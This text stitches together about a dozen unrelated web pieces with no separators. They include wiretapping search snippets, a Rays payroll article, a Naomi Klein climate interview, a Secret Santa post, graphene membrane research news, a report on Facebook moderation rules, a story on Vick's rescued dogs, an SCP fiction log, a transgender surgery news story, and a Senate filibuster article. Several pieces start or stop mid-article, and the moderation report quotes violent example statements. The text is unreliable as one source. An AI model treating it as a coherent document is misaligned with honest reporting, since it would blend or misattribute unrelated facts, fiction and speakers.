It Can Happen Here Iraq War, disregard of national and international law (the NSA warrantless wiretapping controversy and signing statements are used as examples), the increased 2 KB (115 words) - 18:16, 24 February 2019
Clapper v. Amnesty International USA to suppress FAA-derived evidence and to right to challenge the warrantless wiretapping law, and trial courts the opportunity to adjudicate the FAA’s constitutionality 22 KB (2,472 words) - 19:27, 29 November 2018
Social policy of the Barack Obama administration (section Warrantless wiretaps Obama still opposes the use of torture and used to oppose warrantless domestic wiretaps by the U.S. He voted against the Flag Desecration Amendment 69 KB (7,321 words) - 01:36, 20 October 2018
William Eldridge Odom and became known for his outspoken criticism of the Iraq War and warrantless wiretapping of American citizens. He died of an apparent heart attack at his 18 KB (1,445 words) - 20:18, 13 November 2018
National Security Surveillance Act federal law that limits the government's wartime powers to conduct warrantless wiretapping and physical searches to a period of 15 days after a declaration 3 KB (364 words) - 23:53, 15 September 2017
Mohammed Mosharref Hossain Bush's authorization of warrantless wiretaps were unconstitutional, and Aref had been investigated through warrantless wiretaps , the prosecution's case 5 KB (424 words) - 10:42, 17 February 2019
Eric Lichtblau Pulitzer Prize in 2006 with the New York Times for his reporting on warrantless wiretapping by the National Security Agency. He also was part of the New York 13 KB (1,474 words) - 21:16, 30 January 2019
How Would a Patriot Act? he argues is the illegal activity of the Bush administration in warrantless wiretapping and other matters, providing citations from Supreme Court decisions 3 KB (169 words) - 18:44, 24 February 2019
Chief among those ideas, perhaps, is maintaining a focus on the future, even in moments of contention. The Rays have gone to great lengths to keep the minor league farm system stacked, even after their once-perennial top-five picks in the MLB draft turned into perennial bottom-10 selections. With a payroll budget that has never topped $75 million -- roughly what the Dodgers have committed already to their 2018 payroll -- it's an imperative to develop star talent from amateur signings, capitalizing on three critical years of league-minimum salary.
Look back at the list of key major leaguers the Rays have traded since 2008. Edwin Jackson, following the 2008 season. Scott Kazmir, at the 2009 trading deadline. Akinori Iwamura, following the 2009 season. Jason Bartlett and Matt Garza, following the 2010 season. James Shields, following the 2012 season. That's four starting pitchers, a starting second baseman and a starting shortstop, all gone over the course of four years, along with several other moves involving role players.
This history has had the league convinced that Rays ace David Price -- arbitration-eligible for the third time (of four, due to Super 2 status) and due a projected $13.1 million salary -- would be traded for a huge package of prospects, just as Shields was last year. Although there's still plenty of offseason for Tampa Bay to work out a trade, Price remains a Ray, and the club has indicated they're willing to spend the money to keep it that way. A pair of recent tweets from The Tampa Tribune's Roger Mooney spells it out:
With Price for 2014 #Rays payroll projects to be higher than '10 record of $72.8 mm.
- RMooneyTBO (@RMooneyTBO) January 3, 2014
Friedman said payroll is not sustainable but #Rays have chance to be "great" in 2014 and "That's why we're doing what we're doing."
- RMooneyTBO (@RMooneyTBO) January 3, 2014
The Rays' recent behavior supports Friedman's assertion. After the Rays paid $72 million for the 2010 American League East champions, the club slashed payroll to $42 million in 2011, before settling at $63 and $62 million for the past two seasons, respectively. In 2010, the Rays chose to hold on to Carl Crawford and his $10 million salary in his final arbitration season. Crawford proceeded to post a career year, hitting .307/.356/.495 with career highs in home runs (19) and OPS+ (135) for the 96-win squad.
It shouldn't be surprising the Rays see the same potential, both in Price and in the 2014 Rays. Price has three All-Star appearances and a Cy Young Award (and a second-place finish). Over the past four years, he is 10th among starters in ERA (3.03) and 12th in FIP (3.21). Perhaps most important, he'll be just 28 next season.
Meanwhile, the Rays have either retained or improved the rest of a roster that won 91 games in 2013. James Loney is back on another surprisingly expensive (by Rays standards) deal, $21 million over three years. Late-season addition David DeJesus is back at $10.5 million over two years. The club has added catching depth with Ryan Hanigan and bullpen depth with Heath Bell.
The Rays will get full-time contributions from a number of young players who came up as midseason reinforcements as well. Rookie of the Year Wil Myers played just 88 games. Impressive 25-year-old pitcher Chris Archer pitched under 130 innings and combined with Myers for 4.2 wins above replacement (per Baseball-Reference). The main losses from the 2013 squad, Roberto Hernandez and Fernando Rodney, combined for -0.1 WAR.
For the Rays, the timing on Major League Baseball's new television deal couldn't be better. At FanGraphs, Wendy Thurm estimated each team will earn an extra $25 million over 2013 this year, due to the new deals signed with ESPN, TBS and Fox. As it happens, $25 million is approximately the combined salaries of Price, Loney and DeJesus. The Rays may have been willing to keep Price anyway, but the extra money makes the decision that much easier (as Thurm suggested in November).
Having a promising future is nice, but for every team, there comes a time to cash in all available assets -- whether prospects or long-term payroll flexibility -- for a chance at a championship. After all, despite the Rays' myriad accomplishments since rising to perennial contention in 2008, they still don't have a World Series title, and they haven't won a postseason series in five years.
AMY GOODMAN: Our guest for the hour is Naomi Klein, journalist and author. Her latest book, The Shock Doctrine: The Rise of Disaster Capitalism. She’s writing a new book on climate change and the climate change deniers. Naomi, take it from there.
NAOMI KLEIN: The book is not about the deniers, but it does get into it, because I started trying to understand these dramatic drops in belief that climate change is real. I mean, we’ve just ended the hottest decade on record. There’s overwhelming evidence that climate change is real now. It’s not just about reading the science. It’s about people’s daily experience. And yet, we’ve seen this remarkable drop, where, in 2007, 71—this is a Harris poll—71 percent of Americans believed climate change was real, and two years later, 51 percent of Americans believed it. So, a 20 percent drop. And we’ve seen a similar dramatic just the floor falling out in the same period in Australia, in the U.K. It’s not happening everywhere. It’s happening in countries that have very polarized political debates, where they have very strong culture wars.
And there are some people who have been doing some really interesting analysis of these numbers, where you see—like there’s a political scientist named Clive Hamilton in Australia who’s done some really terrific writing on this, where what he shows is that climate change didn’t used to be a partisan political issue. You wouldn’t know whether somebody believed in climate change or not just by asking if they were Republican or Democrat. That’s completely changed. Democrats overwhelmingly believe in climate change. Their position hasn’t changed. Republicans now don’t—overwhelmingly do not believe in climate change. So that drop has been split along partisan lines. Now, it seems kind of obvious that that would be the case, but still it’s remarkable, because what it means is that it no longer really has anything to do with the science. And the environmental movement has just been shocked by how it would be possible to lose so much ground so quickly when there is so much more scientific evidence, so that, there’s all kinds of attempts to respond to this, to get climate scientists out there explaining things better, to popularize the science, and none of it seems to be working. And the reason is that climate change is now seen as an identity issue on the right. People are defining themselves, like they’re against abortion, they don’t believe in climate change. It’s part of who they are.
AMY GOODMAN: And what does it say, you don’t believe in climate change?
NAOMI KLEIN: Well, some people believe in climate change, but the main thing is they don’t believe that humans have anything to do with climate change. And it isn’t about the science, because when you delve deeper into it and ask why people don’t believe in it, they say that it’s because they think it’s a socialist plot to redistribute wealth. It’s easy to make fun of, you know, and there’s all this language, like "watermelons," that they say the green groups are watermelons: they’re green on the outside, but they’re red on the inside. Or George Will once said it’s a green tree with red roots. And the idea is that it’s some sort of a communist plot. And this is actually not at all true. And in fact, most of the big green groups are loath to talk about economics and often don’t want to see themselves as being part of a left at all, see climate change as an issue that transcends politics entirely.
But something very different is going on on the right, and I think we need to understand what that is. Why is climate change seen as such a threat? I don’t believe it’s an unreasonable fear. I think it’s unreasonable to believe that scientists are making up the science. They’re not. It’s not a hoax. But actually, climate change really is a profound threat to a great many things that right-wing ideologues believe in. So, in fact, if you really wrestle with the implications of the science and what real climate action would mean, here’s just a few examples what it would mean.
It would mean upending the whole free trade agenda, because it would mean that we would have to localize our economies, because we have the most energy-inefficient trade system that you could imagine. And this is the legacy of the free trade era. So, this has been a signature policy of the right, pushing globalization and free trade. That would have to be reversed.
You would have to deal with inequality. You would have to redistribute wealth, because this is a crisis that was created in the North, and the effects are being felt in the South. So, on the most basic, basic, "you broke it, you bought it," polluter pays, you would have to redistribute wealth, which is also against their ideology.
You would have to regulate corporations. You simply would have to. I mean, any serious climate action has to intervene in the economy. You would have to subsidize renewable energy, which also breaks their worldview.
You would have to have a really strong United Nations, because individual countries can’t do this alone. You absolutely have to have a strong international architecture.
So when you go through this, you see, it challenges everything that they believe in. So they’re choosing to disbelieve it, because it’s easier to deny the science than to say, "OK, I accept that my whole worldview is going to fall apart," that we have to have massive investments in public infrastructure, that we have to reverse free trade deals, that we have to have huge transfers of wealth from the North to the South. Imagine actually contending with that. It’s a lot easier to deny it.
But what I see is that the green groups, a lot of the big green groups, are also in a kind of denial, because they want to pretend that this isn’t about politics and economics, and say, "Well, you can just change your light bulb. And no, it won’t really disrupt. You can have green capitalism." And they’re not really wrestling with the fact that this is about economic growth. This is about an economic model that needs constant and infinite growth on a finite planet. So we really are talking about some deep transformations of our economy if we’re going to deal with climate change. And we need to talk about it.
AMY GOODMAN: And the reason that we have to go through those deep transformations? What is the threat of climate change? What is happening today?
NAOMI KLEIN: Well, we’re already seeing it on so many levels. I was just at the World Social Forum in Dakar.
AMY GOODMAN: In Senegal.
NAOMI KLEIN: In Senegal. And climate change is still spoken of here as something that if you care about your grandchildren, you care about climate change. That is not the way climate change is being spoken of in Africa. This is a now issue. This is the desertification—rivers are drying up—water shortages, food shortages.
And then, layered on top of that is the fact that many of the "solutions" to climate change—and I put "solutions" in quote—that have been championed by an agenda that accepts the premise that we can’t really ask North Americans, Europeans, to really sacrifice, really change their way of life, our way of life. We can’t be talking about really drastically cutting our emissions here and now. So we have to play shell games, right? We have to have carbon offsets there. We can keep polluting, but we’ll protect a forest in the Congo, or we will have huge agrifuel crops in Africa. And so, all of these solutions are actually deepening the climate crisis in Africa, because people are being displaced from their land, not just because of climate, but because of the solutions to climate change, because they’re losing access to forests, which are used for subsistence agriculture, they’re losing access to land that had been farmed for food and is now being farmed for fuel. And so, the sort of unofficial theme of the World Social Forum, it came up in many of the seminars—
AMY GOODMAN: And this is a gathering of thousands of people—
NAOMI KLEIN: Yeah, 40,000 people.
AMY GOODMAN:—that sort of moves each year, and this year it was in Senegal.
NAOMI KLEIN: Yeah, this year it was in Senegal. And it was global, it was international, but most of the people were from across Africa. And the theme that came up again and again was "the new scramble for Africa, the new scramble for Africa." And this, a lot of it, had to do with these so-called "solutions" to climate change—the agrifuels, the REDD—I mean, not to get too technical, but you’ve talked about this on the show, which is the forest protection plan, the U.N. forest protection plan, which is very controversial in Africa, because people—like I said, people are losing access to forests, which they are using for subsistence, and also because it’s not—forests are being protected instead of cutting emissions in the North. And that’s not seen as a solution to climate change in Africa, because it doesn’t get at the core of the issue.
AMY GOODMAN: So, you have climate change. We also have the issue of the incredible environmental disaster that was BP. You just wrote a piece in The Nation, "The Search for BP’s Oil."
NAOMI KLEIN: This is related, in that we often hear, "Well, we’re not doing anything about climate change. It’s just business as usual." But it’s not true that it’s just business as usual, because we are now in the era of extreme energy. The easy-to-get fossil fuels have pretty much been gotten, and now it’s the harder-to-get stuff, the more-expensive-to-get stuff and the riskier stuff. And that means deepwater drilling, which puts whole ecologies at risk, as we’ve seen on the Gulf Coast. And it means the tar sands in Canada. There’s a proposal to have a tar sands project in Utah. It means fracking for natural gas, and you’ve covered that a lot on the show. I mean, these are methods that are a lot riskier, and it’s affecting many, many more people. And so, I think we need to get away from this idea that we’re just going on as we’ve always gone on. No, we aren’t. If we don’t get off fossil fuels, we are accepting a much, much higher-risk energy trajectory.
And we need to really be aware of this, because with the oil prices increasing, now we’re already starting to get the "drill here, drill now" chorus reemerging, the energy security line that, you know, the real problem is the dependence on fossil fuels—not the dependence on fossil fuels, period—that’s the real problem—but the dependence on foreign fossil fuels. And now this oil shock, the shocking oil prices are being used to push more aggressively for opening up Anwar, for more offshore oil drilling in the Arctic. And if we’re not careful, this crisis will be used to push for some disastrous resource policies.
AMY GOODMAN: Talk about the trip that you took in the Gulf, and talk about how everything from Exxon Valdez to the spill, as we begin to wrap up, how to understand the effects of this, what you call "extreme drilling" in search for fuel.
NAOMI KLEIN: Well, I went on a boat with a team from the University of South Florida. The chief scientist was David Hollander, who’s been one of the most outspoken scientists challenging claims, really from day one, that were coming from BP and federal agencies, originally saying, "Oh, there are no underwater plumes." They found one of the underwater plumes, along with Samantha Joye—her team also found one—and at every stage, you know, challenging the claims about how much oil was coming out of the well, and now challenging the claim that the oil has magically disappeared.
And that’s why I went out with David Hollander and his team searching for BP’s oil, because I think a lot of people have heard this message that, yeah, Mother Nature took care of it, you know, just like we heard in the early days of the spill: you know, the ocean is big, and the amount of oil is relatively small. And this is a really, really dangerous message, because we can’t see it anymore. And this is one of the advantages of using huge amounts of dispersant, is it disappears the crime scene. But so, I wanted to see it for myself.
And you can see the equipment that they’re using goes to the bottom of the ocean and extracts cores from the sediment. And what they found again and again around the well site is that there is a very thick layer of—not pure oil. It’s eroded. It’s mixed in with sand, and it’s mixed in with dead crustaceans. But there’s definitely oil covering a very large area. And the other thing that Dr. Hollander found, because he’s been going back every few months, is that that layer is getting thicker.
And we really don’t know what this is going to mean to the ecology, because—this is one of the things I was really struck by, working with these scientists, is that—even the most expert of the bunch, this is still a mystery to them. The deep ocean is so under-studied. They don’t have baselines to compare the areas that they’re studying to, because so little research was done about the deep ocean, in the deep ocean, before the spill. So, even to assess the damage is extremely difficult.
The other thing that they’re very worried about—and you asked about the Valdez disaster—is that it’s really far too early for anybody to be giving the Gulf a clean bill of health, because the really, really worrisome event that happened—and here, I’m only talking about the ecology; I’m not talking about the other huge issue, which is the effects of the dispersants on people. And other people have done fantastic reporting on that. I was just out with a research team in the ocean, so we were looking at microorganisms and—
AMY GOODMAN: Phytoplankton.
NAOMI KLEIN: Exactly. But the point of studying the effect of the oil on these microorganisms is that when—before the oil sunk to the bottom, before some of it evaporated, before it was skimmed, there was a great deal of oil and dispersants in plumes in the open ocean. These are—the key months were April, June—yeah, and this is spawning season in the Gulf of Mexico. And there were microorganisms, there were larvae, there was zooplankton that would grow up to be commercial fishing stocks, just floating in the open ocean in the same vicinity as the plumes, as the toxic oil and dispersants. And we won’t know what effect that had, those encounters of these very, very vulnerable microorganisms and the oil and dispersants. We won’t know that for years, because that’s what happened—that’s what we learned from the Valdez spill.
AMY GOODMAN: We only have 30 seconds. You published Shock Doctrine in 2007. So much of what you’ve predicted has come to pass. Final words?
NAOMI KLEIN: Look, my fear is that climate change is the crisis, the biggest crisis of all, and that if we aren’t careful, if we don’t come up with a positive vision of how climate change can make our economies and our world more just, more livable, cleaner, fairer, then this crisis will be exploited to militarize our societies, to create fortress continents. And we’re really facing a choice. And, you know, I think what we really need now is for the people fighting for economic justice and environmental justice to come together.
I get it inside and still can't think of anything. At this point I'm just happy to have received a gift. It could be socks and I wouldn't care.
I opened it up and to my amazement, nay my disbelief, my SS had gotten me the 3 books I really really really wanted.
I've been debating with myself for a while now on if I should get ONE of the books and which one to get. My SS got me ALL THREE!! IN HARDCOVER! I can't wait to be done with finals so I can read all three of them.
I honestly can't thank you enough. Your generosity and thoughtfulness is immeasurable. Please PM me as I would like to personally say Thank You!
[UPDATE] Are you kidding me? My Secret Santa is even more awesome than I originally thought. Not only did they get me the three books, they also got me an awesome orange water bottle (school colors), a snazzy pair of head phones that I was in dire need of since my last ones took a nice spin with my clothes in the washing machine, and a super warm and comfortable scarf and hat. It will be perfect for when I go home in a few weeks and be forced to shovel the drive way. Now I just have to learn how to tie a scarf. Finals are finally over I am about 5 minutes away from beginning the first book.
(Nanowerk News) Researchers around Dr. Michael Hirtz from Karlsruhe Institute of Technology and Dr. Aravind Vijayaraghavan from the University of Manchester have developed a new method to produce artificial membranes: Using a nanoscaled tip, they write tailored patches of phospholipid membrane onto a graphene substrate. The resulting biomimetic membranes, i.e. membranes simulating biological structures, allow for the specific investigation of functions of cell membranes and the development of novel applications in medicine and biotechnology, such as biosensors.
The method is now presented online in Nature Communications ("Multiplexed biomimetic lipid membranes on graphene by dip-pen nanolithography").
Lipids (from Greek lipos, “fat”) are central structural elements of cell membranes. The human body contains about 100 trillion cells, each of which is enveloped in a cell membrane which essentially is a double layer of partly hydrophilic, partly hydrophobic phosphorus-containing lipids. These cell membranes contain numerous proteins, ion channels, and other biomolecules, each performing vital functions. It is therefore important to study cell membranes for many areas of medicine and biotechnology. Better understanding of their functions will open up novel applications, such as sensors with biological components, use of enzymes as catalysts, or specific introduction of medical substances. However, it is very difficult to study the membranes directly in live cells inside the human body.
By means of lipid dip-pen nanolithography (L-DPN), lipid membranes are written directly onto the two-dimensional carbon graphene.
Consequently, researchers frequently use model membranes that are applied to special surfaces. These biomimetic systems, i.e. systems simulating biological structures, are more convenient and can be controlled much better. An international group of researchers around Dr. Michael Hirtz, head of the project in the research unit of Professor Harald Fuchs at the KIT Institute of Nanotechnology (INT), and Dr. Aravind Vijayaraghavan from the University of Manchester, Great Britain, now presents a new method to produce biomimetic membranes: They write tailored patches of phospholipid membrane onto a graphene substrate by means of lipid dip-pen nanolithography (L-DPN), a method developed at KIT.
“The L-DPN technique uses a very sharp tip to write lipid membranes onto surfaces in a way similar to what a quill pen does with ink on paper,” explains Dr. Michael Hirtz from the INT. This tip has an apex in the range of a few nanometers only and is controlled with a high precision by a machine. In this way, minute structures can be produced, smaller than cells and even down to the nanoscale (1 nanometer corresponds to 10-9 meters). By employing parallel arrays of these tips, different mixtures of lipids can be written in parallel, allowing for patterns of variable chemical composition with a size smaller than that of an individual cell.
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Facebook only deletes hate speech if it is directed against a group that it determines is a "protected category." pic.twitter.com/0P6qPYh9qD — Julia Angwin (@JuliaAngwin) June 28, 2017
On one hand, Facebook appears to believe that you cannot, or should not, criticize someone for the things that are out of their control. For instance, a slur made against someone's race, gender, sexuality and religious affiliation, amongst others, would be marked for deletion. But those factors that are less central to identity -- in Facebook's eyes -- are fair game for comment, such as a person's social class, job, appearance, age or religion.
If that's a little wooly, it may be easier to explain using a hypothetical situation in which the following statements were made:
"Let's hunt and kill radicalized muslims, for the sake of all that is good and righteous."
"Let's hunt and kill all black children, for the sake of all that is good and righteous."
"Let's hunt and kill all white men, for the sake of all that is good and righteous."
According to ProPublica's report, the first two statements are considered fair comment because they only target a subsection of a group. Advocating the murder of the members of an entire race or religion would be protected, but a subset -- the radicalized muslims, the black children -- are not. The third statement, since it is targeting an entire race and gender, would be moderated off the platform.
Facebook's strange formula allows Rep. Clay Higgins' call for violence against "radicalized Muslims" because it attacks a subgroup pic.twitter.com/UkJe85Soqh — Julia Angwin (@JuliaAngwin) June 28, 2017
One document sourced by ProPublica seems to ask moderators which groups "do we protect" from a list of female drivers, black children and white men. The answer is the final group, for the same logic that was outlined above, although it's likely that many will be horrified that the sentiment was expressed at all.
Facebook's head of global policy management, Monika Bickert, is quoted in the report, saying that its policies "do not always lead to perfect outcomes." But Bickert stresses that the company's rules need to apply to a "global community" with "very different ideas about what is OK to share."
The report also accuses the company of drafting its comment rules in a way that favors businesses and governments against individual citizens. For instance, documents seen by ProPublica claim to encourage censorship of comments made that encourage resistance of "an internationally recognized state." Facebook moderators have reportedly deleted posts from activists and journalists in a variety of disputed territories and authoritarian regimes.
Here's the quiz Facebook has given to its "content reviewers" pic.twitter.com/zv8hS27H0A — Julia Angwin (@JuliaAngwin) June 28, 2017
But we didn't know their names. Headlines described the nameless dogs as "menacing." Some animal rights groups called for the "ticking time bombs" to be euthanized as soon as Vick's case was closed and they were no longer valuable as evidence. That's what typically happens after a dogfighting bust.
Instead, the court gave Vick's dogs a second chance. U.S. District Judge Henry E. Hudson ordered each dog to be evaluated individually, not judged by the stereotype of the breed. And he ordered Vick to pony up close to $1 million to pay for the lifelong care of those that could be saved.
Of the 49 pit bulls animal behavior experts evaluated in the fall, only one was deemed too vicious to warrant saving and was euthanized. (Another was euthanized because it was sick and in pain.)
More than a year after being confiscated from Vick's property, Leo, a tan, muscular pit bull, dons a colorful clown collar and visits cancer patients as a certified therapy dog in California. Hector, who bears deep scars on his chest and legs, recently was adopted and is about to start training for national flying disc competitions in Minnesota. Teddles takes orders from a 2-year-old. Gracie is a couch potato in Richmond who lives with cats and sleeps with four other dogs.
Of the 47 surviving dogs, 25 were placed directly in foster homes, and a handful have been or are being adopted. Twenty-two were deemed potentially aggressive toward other dogs and were sent to an animal sanctuary in Utah. Some, after intensive retraining, are expected to move on to foster care and eventual adoption.
How can this be? Reports of gruesome pit bull maulings make international news. Pit bulls are one of the few canine breeds thought to be so dangerous that they are banned in some places.
The answer, says Frank McMillan, a veterinarian who is studying the recovery of some of the Vick dogs, is that we don't know. "We've assumed all pits are the same, and we've never let this many fighting dogs live long enough to find out. There are hardly ever studies, because these animals don't survive," he said.
Classic fighting pit bulls, part bulldog and part terrier, were bred to be friendly to people and aggressive with other dogs. Their ability to withstand great pain and keep fighting is a quality prized as "gameness."
But with an explosion in urban street fighting, some pit bulls are being trained to go after animals and people. Evaluators said that when they walked into the kennels where the Vick dogs were being held in the fall, they weren't sure what to expect.
"I thought, if we see four or five dogs that we can save, I'll be happy," said Randy Lockwood, an animal behaviorist with the American Society for the Prevention of Cruelty to Animals. "If we had to euthanize the majority, then we could at least say we'd tried."
Q. What was the idea behind your provocative performance at the Swedish Grammy’s?
A. It started out pretty simple: I flipped out. I looked at some magazine cover and started thinking about the whole situation in Sweden with black people not being represented in the media. I wanted to invite every single beautiful black woman that I had met — I know so many in Stockholm — and just put them on the stage. It’s national TV, and I told the producers, please cut the faces so they’re on the screen more than mine. I basically just wanted to show that we exist. I wanted people in that room to feel looked at and to understand, maybe for a second, how it feels to be a minority.
Were you worried about whether the performance would be interpreted as a hostile gesture?
For a while I was scared. I felt like I was detaching myself from the community in Sweden that had been so welcome to me. It kind of cemented that feeling that I think about a lot but don’t often talk about: I’m very different than Sweden, than Swedish music. I was proud, but very sad. There was something sad about it. I love a lot of them, it’s a super small community, and I just wanted people to take it the right way. The stare-down thing kind of left maybe a little sour taste in people’s mouths. It was hard for some people to take it. I could see it in their eyes. But I also saw a lot of people who stood up and applauded and were proud.
DATE: 2006/09/19
INTERVIEWER: Dr. Jenner
SUBJECT: Jennifer Selwick (former GOC operative)
[BEGIN LOG.]
JENNER: What can you tell me about SCP-3117?
SUBJECT: You've got all our files on it. What do you want me to tell you?
JENNER: The files don't paint the whole picture. Several of them are incomplete, and show signs of damage —
SUBJECT: That's probably on account of my team destroying as much of it as we could.
JENNER: What — may I ask why? Were they —
SUBJECT: No.
JENNER: — cognitohazardous? No?
SUBJECT: No. They weren't dangerous in of themselves. Not directly.
JENNER: Could you elaborate?
SUBJECT: Look. UTE-2639 —
JENNER: SCP-3117.
SUBJECT: Right, whatever. 3117 — it isn't — it isn't whatever you think it is. There's a reason the GOC stopped looking into it and threw everything I didn't destroy over to you guys.
JENNER: And why is that?
SUBJECT: We've been investigating this thing for maybe ten, twenty years? And it's eaten its way through —
JENNER: 'Eaten'?
SUBJECT: — way through a lot of people. Some of our best. Some of our brightest, yeah. We originally thought it was some sort of entity, maybe a Type-Green or Type-Blue, but — no, it's nothing like that. It's... not even a monster, I don't think. It's just — it's just a trap. A monster-shaped hole.
JENNER: I'm not sure I —
SUBJECT: You try to work it out, because that's what you do when you're clever — you work things out. But with every piece you 'find', you're filling that hole up. You're reassembling a puzzle of your own creation, one you didn't even know you were solving. Until —
[Silence.]
JENNER: Until what?
SUBJECT: Until the hole isn't a hole anymore. Until it's staring back up at you.
JENNER: Are you saying SCP-3117 creates some sort of monster?
SUBJECT: We think we tell each other scary stories for fun, but maybe there's another reason. I think — I think some of these stories, when we tell them — they're not meant to be thrilling. They're meant to be warnings. A warning to stop. To not open that door — to not go down the stairs. To stop watching the movie, or listening to that story, or reading that article. But you don't realize it. Not until it's too late. Not until…
[Silence.]
JENNER: Jennifer?
[Silence.]
JENNER: What's wrong?
SUBJECT: It's too late.
JENNER: What's too late?
SUBJECT: She's found you. I'm sorry. She's found you.
JENNER: I don't — what?
SUBJECT: Don't think about it. Don't talk about it. Don't try to figure it out. When the dreams start to come, ignore them. Don't tell anyone. And whatever you do, don't look down. Don't look into the pit. She's found you, and if you keep trying to look, if you keep trying to solve this, she's going to —
JENNER: Stop. Please, I don't understand what you're —
SUBJECT: I'm not talking to you.
PULLMAN — Jessie Jane Miller grew up in rural Northeast Washington, one of two twin boys in a conservative, religious family.
For years, Miller lived a closely guarded secret: “I knew that I was different, and I knew that I wanted to be a woman.”
Miller, 44, was an adult before she came out as a transgender woman. That same urge for privacy had prompted Miller to keep a low profile after her sex-reassignment surgery at Pullman Regional Hospital in early June.
Now the hospital’s board is taking public comment on whether to continue offering the surgery, which was done on a trial basis, The Spokesman-Review reported Sunday.
Pullman Regional Hospital could become the first Washington hospital to offer below-the-waist sex-reassignment surgery, transitioning males to females. Scott Adams, the hospital’s chief executive, said Oregon Health and Science University in Portland is the only other hospital in the Northwest he is aware of that performs the procedure, which is called vaginoplasty.
“To the best of our knowledge, we would be the first in Washington, though we have not canvassed the state’s 100-plus hospitals,” Adams said.
Miller had one of two vaginoplasties done at the 25-bed hospital in June by Dr. Geoffrey Stiller, a local plastic surgeon. Stiller wants to continue offering the surgery in Pullman.
The public hospital’s board is evaluating whether Pullman Regional will offer the surgery on an ongoing basis. Questions remain about cost and patient-care requirements, Adams said.
About 300 local residents have sent written comments to the hospital’s board of commissioners on the issue. Some opposed sex-reassignment surgery on religious grounds, while others questioned whether the small hospital was the right place to offer the surgery.
But many of the comments were supportive. “Don’t let the bigots win,” one letter writer said.
Others said the hospital board should make the decision based on whether Pullman Regional Hospital had the resources to provide quality care, not public opinion.
Miller wants her voice to be part of the discussion. The recent surgery marked a long journey for the Moses Lake resident, who grew up in Chewelah, Stevens County, about 50 miles north of Spokane.
Miller said she was 20 before she learned that other transgender people existed. Even if she had known earlier, she couldn’t picture herself coming out as a transgender woman in high school.
“There wasn’t a gay person in our high school; there was no LGBT in our town,” she said. “I lived in the closet. I couldn’t even tell my twin brother.”
Miller spent 5½ years in the Air Force, earned a master’s degree, married and divorced. She’s the single parent of a 9-year-old daughter.
The surgery was possible for her because Stiller accepted Apple Health, which provides free or low-cost health insurance through Washington’s Medicaid expansion, Miller said. National cost estimates for a vaginoplasty are in the $15,000 to $30,000 range.
As they head into a conference meeting on Tuesday, some Republicans say it’s time to undo a wrong committed by Democratic Leader Harry Reid Harry Mason ReidBottom Line Brennan fires back at 'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview MORE (Nev.) and go back to rules that require 60 votes to clear most nominees.
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The GOP was outraged last year after Reid and Democrats used a procedural move known as the “nuclear option” to unilaterally change the Senate’s rules to deprive the minority from being able to block most of President Obama’s nominations.
“I think it’s rank hypocrisy if we don’t,” Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.) said when asked about reversing the rule change.
“If we don’t, then disregard every bit of complaint that we made, not only after they did it but also during the campaign,” he added. “I’m stunned that some people want to keep it.”
But other Republicans say now that Democrats have changed the rules to allow nominations aside from those to the Supreme Court to clear by majority vote, the GOP should go with the flow.
“I’m leaning toward leaving it alone,” said Sen. Chuck Grassley Charles (Chuck) Ernest GrassleyOvernight Health Care: Drug execs set for grilling | Washington state to sue over Trump rule targeting Planned Parenthood | Wyoming moves closer to Medicaid work requirements Senate reignites blue slip war over Trump court picks Lower refunds amplify calls to restore key tax deduction MORE (R-Iowa), the incoming chairman of the Senate Judiciary Committee.
Senior Republican members of the Senate Judiciary Committee see little tactical advantage in restoring the 60-vote threshold for nominees when they control the agenda next year.
They argue that if Obama nominates officials and judges who are too extreme, the Senate Judiciary could simply not report them to the floor, or incoming Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.) could decide not to schedule them for votes.
They assert that reversing the nuclear option would not benefit them in the long term because Democrats would likely trigger it once again if they reclaimed the majority while their party controlled the White House.
And if a Republican wins the presidency in 2016, they want that officeholder to be able to shape his or her administration and the judicial branch with as free a hand as Obama has enjoyed during the final three years of his term.
“An immediate return to the prior nominations standard under Republican control would only reward Democrats for their misdeed and — since they have reaped the benefits but borne none of the costs — Democrats would have further incentive to engage in procedural abuses,” Sen. Orrin Hatch Orrin Grant HatchThe FDA crackdown on dietary supplements is inadequate Orrin Hatch Foundation seeking million in taxpayer money to fund new center in his honor Mitch McConnell has shown the nation his version of power grab MORE (R-Utah), a former Judiciary Committee chairman, wrote in a Monday op-ed for Politico.
It’s unclear which position will prevail when GOP senators meet Tuesday afternoon to discuss the issue. All of the GOP senators, including the 12 newly elected freshmen from 2014, will take part in the debate.
McConnell hasn’t weighed in one way or another and will let his colleagues hash out their differences at the special caucus meeting, according to a senior GOP aide.
Grassley said that paving a smoother road for executive and judicial nominees would restore the Senate to how it was 15 years ago, before both parties began to use filibusters routinely to throw up roadblocks.
“I served 34 years in the Senate, 20 was under pretty much an environment where filibusters weren’t used against judges,” he said. “That changed in 2002, I guess. I don’t think it’s been good for the process.”
But other senior Republicans are incredulous that their colleagues would embrace Reid’s overhaul of Senate precedent, given the possibility they could again end up in the minority.
“Do we believe that Republicans will hold the majority in Congress forever? If it poisoned the well as much as it did, how could we possibly be in favor of sustaining it?” McCain said.
McCain’s ally, Sen. Lindsey Graham Lindsey Olin GrahamHouse to push back at Trump on border Trump pressures GOP senators ahead of emergency declaration vote: 'Be strong and smart' This week: Congress, Trump set for showdown on emergency declaration MORE (R-S.C.), argues that restoring the 60-vote hurdle will make it tougher for Obama to stock the courts in the next two years.
“I think it would be smart for us to go back to the way it used to be, getting the Senate back to the way it’s always been and making it harder to get people into the court and into the executive branch, not easier,” he told conservative radio host Hugh Hewitt.
Sens. Mike Crapo Michael (Mike) Dean CrapoSenate reignites blue slip war over Trump court picks New push to open banks to marijuana industry Private insurance plays a critical part in home mortgage ecosystem MORE (R-Idaho) and Jim Risch James (Jim) Elroy RischHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Congress closer to forcing Trump’s hand on Saudi support MORE (R-Idaho) said Monday evening they were inclined to restore the 60-vote threshold.
